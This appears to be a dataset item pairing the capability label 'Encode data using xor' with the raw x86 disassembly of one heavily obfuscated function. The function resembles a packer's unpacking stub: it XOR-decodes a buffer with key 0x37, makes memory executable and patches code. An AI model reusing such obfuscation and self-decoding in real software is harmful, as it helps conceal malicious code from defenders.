Function at 0x71f3ee
Capabilities:
Encode data using xor

Disassembly:
pop edi
add dword [esp], 0xeb80025c
push eax
mov eax, 0x63c7157d
or dword [esp + 4], eax
push dword [esp]
pop eax
add esp, 4
jmp 0x71a242
pop esi
push ebx
sub esp, 4
mov dword [esp], ecx
jmp 0x719943
pop eax
xchg edx, esi
mov esi, dword [esp]
jmp 0x719e1e
add esp, 4
push edx
push ebp
mov ebp, 0x7f5f431a
mov edx, ebp
pop ebp
push esi
mov esi, 0
push ebp
mov ebp, 0x7b7688f2
sub ebp, 0x397f0aa
jmp 0x71a2f2
add edi, 4
add edi, 4
jmp 0x719e47
push 0x7ff71c76
pop ecx
mov ebx, ecx
jmp 0x719d7b
sub edx, 0x7b3a060e
add edx, esi
add edx, 0x7b3a060e
push esi
mov esi, 0x7d7f53de
sub edx, 0x19bbbcd7
sub edx, esi
add edx, 0x19bbbcd7
pop esi
add edx, 0x7be30e8a
pop esi
jmp 0x719a83
add esp, 4
push esi
jmp 0x71a584
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x5ffb78af
jmp 0x719e6d
push edi
push ebx
push esi
jmp 0x719d93
sub edi, 0x3af7a4ee
xor esi, edi
pop edi
push edx
mov edx, 0x7d77b87a
and esi, edx
jmp 0x71a084
sub ecx, 0x1b6e6edd
mov edi, ecx
pop ecx
and edi, 0x7d7f8b54
and edi, 0x7e6f9c56
inc edi
xor edi, 0x5fdfa0a6
add edi, 0x6818bf5d
jmp 0x719aa2
add edi, 4
xchg dword [esp], edi
pop esp
sub edx, 0xeaaafb1e
jmp 0x71a013
neg ebx
push edi
mov edi, 0x17be3953
jmp 0x71a281
add esi, 4
sub esi, 4
jmp 0x71a1b6
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
push edx
push dword [esp + 4]
mov edx, dword [esp]
add esp, 4
pop dword [esp]
mov esp, dword [esp]
jmp 0x719d04
add eax, edi
pop edi
push dword [esp]
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp 0x71a510
push dword [eax]
push eax
push edx
push 0x71fceff5
pop edx
and edx, 0x5cf9720b
push 0x743fd60
mov dword [esp], edi
mov edi, 0x2bbcb7fb
sub edx, edi
mov edi, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
jmp 0x71a5c4
mov ecx, dword [esp]
add esp, 4
jmp 0x719998
pop ebx
shl edi, 7
push edx
jmp 0x719c5d
xor esi, 0x981079be
jmp 0x71a16d
add edi, edx
push dword [esp]
jmp 0x719cf4
pop edx
add esp, 4
add eax, edx
jmp 0x719988
push eax
mov eax, 0x7dff1a4e
shr eax, 1
add eax, 0x36fe720d
jmp 0x71a07c
mov edi, 0x6453ee27
jmp 0x719e35
mov edi, 0x7b6f01a8
push ebx
mov ebx, 0x7b7dbe21
or edi, ebx
jmp 0x719b75
mov edx, 0x76ba4475
or edx, 0x7a7f339f
xor edx, 0x6e0c39b
jmp 0x719bf5
mov ebx, dword [esp]
add esp, 4
pop edx
jmp 0x71a62e
mov ebp, dword [esp]
add esp, 4
push dword [esp]
pop edx
add esp, 4
push esi
mov esi, 0xffffffff
jmp 0x719fd0
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
xor esi, 0x2a6f8db1
dec esi
not esi
jmp 0x71a46b
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
jmp 0x71a2d7
pop edx
jmp 0x719da1
xor eax, 0x545e630c
jmp 0x71a446
mov dword [esp], ecx
pop dword [eax]
sub esp, 4
mov dword [esp], ebp
push esi
mov esi, 0x7d938a36
shl esi, 2
inc esi
push esi
not dword [esp]
pop esi
jmp 0x719f56
mov edx, dword [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
jmp 0x719cdf
push edi
jmp 0x719f94
sub esi, edx
push eax
mov eax, 0x6f3b0fd8
dec eax
neg eax
sub eax, 0x18e657e1
sub esi, eax
jmp 0x719903
push esi
pop ebp
jmp 0x7198f6
push eax
mov dword [esp], edi
mov edi, 0x735f4fff
jmp 0x719ecd
mov ecx, dword [esp]
add esp, 4
jmp 0x719f1c
mov esi, 0x7d516cf1
shl esi, 3
push eax
jmp 0x71a04a
add esp, 4
add edx, edi
pop edi
xor edx, 0x94bfd20e
jmp 0x719de8
xor edi, ecx
xor ecx, edi
dec edi
not edi
push ecx
push edi
pop ecx
pop edi
dec ecx
sub esp, 4
mov dword [esp], edx
jmp 0x71a135
add ecx, edx
mov edx, dword [esp]
jmp 0x719f83
dec edx
xor edx, 0x42d4883d
mov eax, edx
pop edx
xor dword [esp + 4], eax
pop eax
jmp 0x719b6a
xor ecx, esi
push dword [esp]
pop esi
add esp, 4
push ecx
mov dword [esp], edx
mov dword [esp], eax
jmp 0x71a486
add esp, 4
sub edx, 0x1e771c04
push esi
mov esi, 0x6e6bab11
jmp 0x71a210
xor ebp, edi
pop edi
and esi, ebp
pop ebp
not esi
push esi
inc dword [esp]
pop esi
jmp 0x719d49
xchg dword [esp], edi
jmp 0x719e60
pop esp
push edx
mov edx, 0x7e1201df
sub eax, edx
push dword [esp]
jmp 0x719c20
pop esp
push ebp
push ecx
mov ecx, 0x5798c172
jmp 0x719ea0
push ecx
mov ecx, 0x21e97970
xor ebp, ecx
pop ecx
jmp 0x719ec6
not ecx
push edx
push 0x6dfe3ead
pop edx
push ebx
push 0x7eff512f
pop ebx
not ebx
xor ebx, 0x7c3d5c5b
xor ebx, 0x1baf332c
shr ebx, 7
jmp 0x71a1e4
add eax, ebp
jmp 0x719ca0
xor edi, 0x5df49bc7
sub edi, 0x77de8199
and edi, 0x3ff540ef
add edi, 0x6f6f4878
add edi, 0x4f9b1be8
add edi, 0x8a274240
and edi, 0x7977f191
xor edi, 0x67dec332
or edi, 0x7c734172
shl edi, 3
push esi
mov esi, 0x7ffe8c2a
jmp 0x719f3b
or ebx, 0x79d7f9c1
jmp 0x719a11
sub eax, ebx
pop ebx
sub eax, 0x7f7f3555
sub eax, ebp
jmp 0x719d6d
inc esi
jmp 0x71a029
add eax, 0x3fa7c8f7
sub eax, 0x5ead0425
pop edi
add eax, 0x7ff71c76
jmp 0x71a1cf
not esi
push esi
not dword [esp]
pop esi
jmp 0x71a008
push edi
mov dword [esp], ebp
pop ebx
push dword [esp]
mov ebp, dword [esp]
add esp, 4
add esp, 4
push 0x47b146e1
jmp 0x71a0f3
add esp, 4
xor ecx, 0x47bddefd
jmp 0x719fbd
mov edi, 0x5ffbd193
inc edi
add edi, 0x7d3e295d
jmp 0x7199b6
or ecx, 0x75fdc1a0
xor ecx, edi
jmp 0x719dce
push ecx
jmp 0x71a0cb
mov dword [esp], ecx
mov ecx, 0x7ff4c01d
jmp 0x71a08c
sub eax, 0x6bf6e054
push ebp
mov ebp, 0x69fbc456
inc ebp
sub ebp, 0xea7c7a5c
add eax, ebp
pop ebp
sub eax, 0x7fbec081
sub eax, 0x7d766257
add eax, esi
add eax, 0x7d766257
add eax, 0x7fbec081
push ebp
mov ebp, 0x7f7f49fb
sub eax, ebp
jmp 0x71a306
xor esi, 0x9b1d724
jmp 0x719d66
sub ecx, 0x36ff992d
sub ecx, edx
add ecx, 0x36ff992d
mov edx, dword [esp]
jmp 0x71997f
or esi, 0x76e7815b
neg esi
sub esi, 0x7e37618a
add esi, 0x7692d548
sub edi, esi
pop esi
add eax, 0x5ead0425
jmp 0x71a120
push edx
mov edx, 0x768554ff
mov eax, 0xc92402c3
add eax, 0x32ff685a
add eax, edx
sub eax, 0x32ff685a
pop edx
xor esi, eax
jmp 0x71a55c
dec ecx
neg ecx
shr ecx, 2
xor ecx, 0x7c177b7f
sub esi, ecx
jmp 0x71a3e4
or ecx, eax
pop eax
jmp 0x7199cc
push dword [esp]
jmp 0x71a31c
shr ecx, 8
xor ecx, 0x3733142a
sub ecx, 0x7f4e4985
not ecx
dec ecx
xor ecx, 0x3bbcb7be
mov esi, ecx
pop ecx
xor esi, 0x6eeed658
neg esi
shr esi, 7
add esi, 0xfe3aa612
mov edx, esi
push dword [esp]
pop esi
push eax
mov eax, esp
add eax, 4
jmp 0x71a367
mov dword [esp], 0x2fefba84
mov dword [esp], edx
mov edx, ecx
mov ebp, edx
pop edx
pop ecx
jmp 0x719f62
push ebp
mov ebp, 0x6a4aacb4
sub ebp, 0x4aa5eee3
dec ebp
push edi
jmp 0x719c41
mov dword [esp], edx
mov dword [esp], 0x32108415
mov dword [esp], ebp
push edi
mov edi, 0x74ff18db
not edi
add edi, 0x7f5fb213
not edi
inc edi
add edi, 0x825fc2f3
mov dword [esp + 4], edi
jmp 0x7198cc
sub eax, 0x3fa7c8f7
add eax, edi
jmp 0x719f41
mov edx, 0x7aef073a
and ecx, edx
mov edx, dword [esp]
add esp, 4
neg ecx
add ecx, 0x62c59531
xor eax, ecx
mov ecx, dword [esp]
add esp, 4
push eax
add dword [esp], 0x7fefcbf8
push dword [esp]
jmp 0x719d2e
sub edx, esi
pop esi
shl edx, 5
jmp 0x71a40b
add ecx, esi
pop esi
add ecx, 0x7e5d6347
add ecx, eax
sub ecx, 0x7e5d6347
sub ecx, 0x4ddfc9c8
push dword [esp]
pop eax
jmp 0x71990e
push ecx
mov ecx, 0x771ff6a0
jmp 0x71a069
push esi
push dword [esp + 4]
jmp 0x71a451
xor edx, ebx
pop ebx
sub edx, 0x57d72767
push edi
jmp 0x719c4b
mov ebp, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], edx
push eax
jmp 0x71a2e9
xor ebx, 0x66173bca
jmp 0x71a1c0
add edx, 4
xchg dword [esp], edx
pop esp
xor ecx, edi
pop edi
sub esp, 4
mov dword [esp], eax
mov dword [esp], 0x35883fc2
mov dword [esp], eax
mov eax, esp
jmp 0x71a5d7
push edx
mov edx, 0x77ee1fd6
or edx, 0x1fcbb32b
sub edx, 0xfff179e4
or esi, edx
mov edx, dword [esp]
add esp, 4
shr esi, 5
shl esi, 2
jmp 0x71a2c9
neg esi
add esi, 0x78ff9eed
jmp 0x71a1ab
push 0xd7f2903
mov dword [esp], edi
mov dword [esp], ebx
push 0x1cf23bdc
pop ebx
sub esp, 4
mov dword [esp], esi
mov esi, 0x5ff83cb7
add dword [esp + 8], esi
pop esi
sub dword [esp + 4], ebx
sub dword [esp + 4], 0x5ff83cb7
jmp 0x719c73
push eax
mov eax, 0x67aeec2b
add edi, eax
pop eax
jmp 0x71a3be
push eax
mov eax, 0x75ff63df
add esi, eax
pop eax
jmp 0x719bea
pop esp
sub edx, 0x7fefcbf8
mov eax, dword [esp]
push edi
mov edi, esp
jmp 0x719935
mov dword [esp], esi
push eax
jmp 0x719fc3
sub esi, 0x57bfa0e5
add esi, ebp
add esi, 0x57bfa0e5
pop ebp
jmp 0x719d4f
mov ebp, dword [esp]
push ecx
mov ecx, esp
jmp 0x71a374
mov edx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
jmp 0x719cc0
add eax, 4
xchg dword [esp], eax
jmp 0x719e4f
add ecx, 4
add ecx, 4
push ecx
push dword [esp + 4]
mov ecx, dword [esp]
jmp 0x71a4e6
xor ebx, edi
pop edi
push ebp
mov ebp, 0x8629d046
add ebx, ebp
pop ebp
mov eax, 0xda92be81
sub eax, ebx
pop ebx
jmp 0x71a505
pop ecx
xor esi, 0x4ed06665
jmp 0x71a42d
push ebp
mov dword [esp], ebx
mov ebx, 0x7fb38768
and edx, ebx
mov ebx, dword [esp]
push edi
push esp
pop edi
add edi, 4
jmp 0x7199f3
push edx
jmp 0x71a5ca
sub edx, 0x7be30e8a
add edx, 0x7d7f53de
jmp 0x719950
push ecx
mov ecx, 0x2f93a358
jmp 0x719fa5
pop esi
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], esi
push 0x2dff14c4
pop esi
not esi
shl esi, 4
jmp 0x71a0e0
neg esi
xor esi, 0x40c87d61
jmp 0x719e06
push edx
jmp 0x71a51e
mov dword [esp], edx
mov edx, esp
push esi
mov esi, 0x37ff3380
inc esi
sub esi, 0x6bff741c
jmp 0x71a235
add esp, 4
pop dword [esp]
pop esp
push edi
push ecx
push edi
mov edi, 0x1b956312
mov ecx, 0x5c161774
add ecx, edi
pop edi
jmp 0x719c2e
push esi
mov esi, 0x7db75777
jmp 0x71a60f
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
jmp 0x71a530
mov edx, 0x4d330888
mov dword [esp + 4], edx
pop edx
mov dword [esp], esi
jmp 0x71a4a7
pop esp
sub edx, 1
jne 0x719ac6
sti
push eax
mov eax, 0x37fbfca5
shr eax, 5
shl eax, 8
shl eax, 1
or eax, 0x4f77a4a7
add eax, 0xaeb905ce
jmp 0x719cfa
pop eax
dec esi
not esi
shl esi, 4
sub esi, 0x2dff05cd
push esi
pop ebx
push dword [esp]
pop esi
add esp, 4
mov edi, 0x1832d7ab
xor edi, ebx
mov ebx, dword [esp]
jmp 0x71a427
mov esi, esp
jmp 0x719a3f
pop esp
jmp 0x719df2
mov edx, esp
add edx, 4
jmp 0x71a1ef
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push ebp
mov ebp, 0x3bfe028e
sub ebp, 0x3bfe028a
sub eax, ebp
pop ebp
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push ebx
mov ebx, 0x5ff90caf
pop edi
pop edi
sub ebx, 0x5f7f6aa1
jmp 0x719f11
neg esi
shl esi, 4
xor esi, 0xd6d7970
xor esi, 0x3f7e498d
shl esi, 7
sub esi, 0xfefc6cb8
jmp 0x71a178
lea ebx, [ebp + 0x122d302a]
call 0x71a639
pop eax
add eax, 0xb
mov dword [ebx], eax
jmp 0x71f324
call 0x71f330
adc ecx, dword [ecx + edx*8 - 0x2f]
mov ecx, 0x890fb5de
add eax, dword [eax]
add byte [eax], al
mov si, dx
pop ecx
pushal
push eax
mov eax, edx
pop edx
stc
popal
sti
add ecx, 0xdb92
sti
push 0x36a4
jno 0x71f364
je 0x71f364
jmp 0x71f364
pop ebx
call 0x71f36f
inc ebp
xor eax, 0xf27f895
add byte [esi], 0
add byte [eax], al
jl 0x71f37b
pop edi
push dword [ecx]
mov ah, 0xd2
pop edx
xor edx, 0x282b92bf
mov di, dx
add edx, 0x8caa9b8
mov eax, 0x241f94f1
xor edx, 0x1eacb71a
call 0x71f3b1
xchg dword [eax], eax
into
in eax, dx
add dword [eax], 0xffffffbf
fld dword [ecx]
mov eax, 0xe861b19c
jae 0x71f3e4
mov edi, 0x38ecb064
pop eax
push edx
jg 0x71f3da
call fcn.0071f3c9
inc edx
wait
xor al, byte [eax]
invalid
pop dword [ecx]
call 0x71f3ee
invalid
int1
adc eax, 0x23691ab2
push 9
adc al, 0x1d
adc al, 0xd1
pop edi
sub ecx, 0x63e9ee1
push esi
jg 0x71f402
mov ax, di
pop edi
add ecx, 0x63e9edd
mov esi, edx
sub ebx, 1
jne 0x71f37c
jae 0x71f41f
mov esi, edx
sti
mov edx, 0x6d04de8b
mov ebx, 0x7b176e21
mov ecx, 0xdbc97ff
cmp dword [ebp + 0x122d001d], 0
je 0x71f446
mov dword [ebp + 0x122d2d12], 1
mov eax, dword [ebp + 0x122d1641]
mov esi, eax
mov ecx, dword [esi + 0x3c]
add esi, ecx
mov ecx, 0x400000
mov dword [ebp + 0x12448390], ecx
mov edi, dword [ebp + 0x122d302a]
test edi, edi
jne 0x71f471
jmp 0x71f5b2
mov esi, edi
mov ecx, 0x4ce0
lodsb al, byte [esi]
xor al, 0x37
stosb byte es:[edi], al
dec ecx
jne 0x71f478
mov ecx, dword [ebp + 0x122d302a]
mov edi, dword [ebp + 0x122d1641]
mov esi, dword [ebp + 0x12448390]
cmp edi, esi
jne 0x71f4a2
jmp 0x71f5a3
mov eax, dword [ecx]
mov edx, dword [ecx + 4]
sub dword [ebp + 0x122d07f9], edx
sub edx, 8
add ecx, 8
add eax, edi
pushal
mov ebx, eax
push ebx
push 0x1000
push ebx
call dword [ebp + 0x122d3220]
pop ebx
test eax, eax
je 0x71f4e3
lea eax, [ebp + 0x1244a1c7]
push eax
push 0x40
push 0x1000
push ebx
call dword [ebp + 0x12445ed8]
popal
mov bx, word [ecx]
test bx, 0xf000
je 0x71f58a
and ebx, 0xfff
add ebx, eax
cmp dword [ebp + 0x122d2eae], 1
jne 0x71f520
cmp byte [ebx - 2], 0xe8
jne 0x71f520
cmp byte [ebx + 3], 0x90
jne 0x71f520
jmp 0x71f58a
cmp byte [ebx - 1], 0xc5
jne 0x71f54d
cmp dword [ebp + 0x122d2d42], 0
je 0x71f54d
cmp dword [ebp + 0x122d0ce9], 0
je 0x71f54d
mov byte [ebx - 1], 0xe9
jmp 0x71f58a
cmp dword [ebp + 0x122d001d], 0
je 0x71f57a
cmp byte [ebx - 1], 0xc5
jne 0x71f57a
cmp dword [ebp + 0x122d2d42], 0
je 0x71f57a
cmp dword [ebx], 0x90909090
je 0x71f58a
sub dword [ebx], esi
add dword [ebx], edi
add ecx, 2
sub edx, 2
jne 0x71f4e4
cmp dword [ebp + 0x122d07f9], 0
jne 0x71f4a2
mov edi, dword [ebp + 0x122d302a]
mov ecx, 0x4ce0
xor al, al
rep stosb byte es:[edi], al
mov edx, 0x2862ae6b
mov edi, dword [ebp + 0x122d0d19]
mov ecx, 0x79
lea esi, [ebp + 0x12532e05]
rep movsb byte es:[edi], byte [esi]
xor edx, 0x28634112
mov edi, dword [ebp + 0x122d0d19]
add edi, 0xe
test edx, edx
je 0x71f5e7
add edx, dword [ebp + 0x122d1641]
mov dword [edi + 1], edx
mov edx, dword [ebp + 0x122d3b90]
mov edi, dword [ebp + 0x122d0d19]
add edi, 0x54
mov dword [edi + 1], edx
mov edi, dword [ebp + 0x122d0d19]
add edi, 0x49
mov dword [edi + 1], ebp
mov edi, dword [ebp + 0x122d0d19]
add edi, 0x25
mov dword [edi + 1], ebp
jmp 0x71f692
mov eax, edx
jmp 0x71f6d6